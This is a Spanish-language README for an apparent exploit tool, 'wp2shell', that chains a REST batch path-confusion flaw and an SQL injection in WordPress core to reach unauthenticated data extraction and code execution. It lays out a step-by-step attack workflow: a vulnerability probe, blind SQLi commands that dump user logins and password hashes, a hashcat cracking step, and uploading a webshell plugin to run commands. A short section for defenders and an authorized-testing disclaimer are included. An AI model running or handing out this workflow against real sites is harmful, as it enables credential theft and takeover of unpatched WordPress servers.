
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
Ejecución remota de código no autenticada para WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)
wp2shell es un exploit para una cadena de vulnerabilidades críticas en el núcleo de WordPress. Encadena un fallo de confusión de rutas en el lote de la API REST con una inyección SQL en WP_Query para lograr ejecución remota de código no autenticada en instalaciones de WordPress vulnerables.
| Detalle | Información |
|---|---|
| CVEs | CVE-2026-63030 (confusión de rutas en el lote REST) + CVE-2026-60137 (SQLi en author__not_in) |
| Afecta | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Parcheado | 6.9.5, 7.0.2 |
| Autenticación requerida | Ninguna — no autenticada |
| CVSS | Crítico (cadena RCE) |
| Descubierto por | Adam Kues (Assetnote / Searchlight Cyber) |
| Dependencias | Python 3.8+ — solo biblioteca estándar |
El exploit encadena dos fallos en el núcleo de WordPress:
CVE-2026-60137 — Inyección SQL – Cuando author__not_in se pasa como una cadena en lugar de un array, WordPress omite la protección de saneamiento is_array() e interpola el valor sin procesar en una cláusula SQL NOT IN (...).
CVE-2026-63030 — Confusión de rutas en el lote – El endpoint /wp-json/batch/v1 construye arrays paralelos $matches y $validation. Una sub-petición malformada se añade a $validation pero no a $matches, lo que provoca un desplazamiento de índice de +1. La sub-petición i se despacha con el manejador de la sub-petición i+1.
Encadenados: una petición POST /wp/v2/posts que lleva una petición interna GET /wp/v2/users con una cadena author_exclude elude tanto la lista blanca de métodos como el saneamiento de entradas. La cadena llega a WP_Query como author__not_in y se interpola en el SQL, lo que proporciona inyección SQL ciega no autenticada.
A partir de ahí, la herramienta puede:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Eso es todo. No se requieren paquetes de terceros.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Lanza un menú interactivo con toda la funcionalidad disponible mediante opciones numeradas.
check — Confirmar vulnerabilidad (seguro)Realiza una sonda de retardo temporal para confirmar la explotabilidad. No lee datos ni cambia nada.
./wp2shell.py http://target.com check
read — Extraer datos (inyección SQL ciega)Extrae información de la base de datos mediante inyección SQL ciega basada en tiempo.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Ejecución remota de códigoRequiere credenciales de administrador válidas. La inyección SQL puede recuperar el hash de la contraseña, pero debes proporcionar la contraseña en texto plano recuperada.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Rama | Afectadas | Corregidas |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (solo SQLi, sin RCE) | 6.8.6 |
Las versiones anteriores a 6.9.0 no están afectadas por la cadena RCE completa.
Para defensores:
POST /wp-json/batch/v1 con cuerpos requests anidados404 en la ruta de lote no siempre significa "parcheado": también puede significar que un WAF/CDN está bloqueando el acceso anónimo a la API RESTEsta herramienta es únicamente para fines educativos y de pruebas de seguridad autorizadas.
Para más detalles sobre la vulnerabilidad, consulta el blog de investigación de Searchlight Cyber.
| Característica | Descripción |
|---|
| Comprobación de vulnerabilidad | Sonda segura de retardo temporal: no lee datos ni cambia nada |
| Extracción de datos | Inyección SQL ciega con optimización de búsqueda binaria para una extracción eficiente |
| Volcado de hashes de usuarios | Extrae los hashes de user_login y user_pass de wp_users |
| Ejecución remota de código | Autenticarse como administrador, subir un plugin webshell y ejecutar comandos |
| Shell interactivo | Sesión persistente de ejecución de comandos |
| Salida en color | Retroalimentación visual clara para los resultados del escaneo |
| Sin dependencias | Utiliza solo la biblioteca estándar de Python |
| Opción | Descripción |
|---|
--users | Extrae user_login y user_pass de wp_users |
--database | Extrae el nombre de la base de datos actual |
--version | Extrae la versión de MySQL |
--query "SQL" | Ejecuta una consulta SQL personalizada (extracción ciega) |
--user USER | Nombre de usuario administrador para RCE |
--password PASS | Contraseña del administrador para RCE (texto plano, recuperada mediante SQLi) |
--cmd CMD | Comando a ejecutar a través del webshell |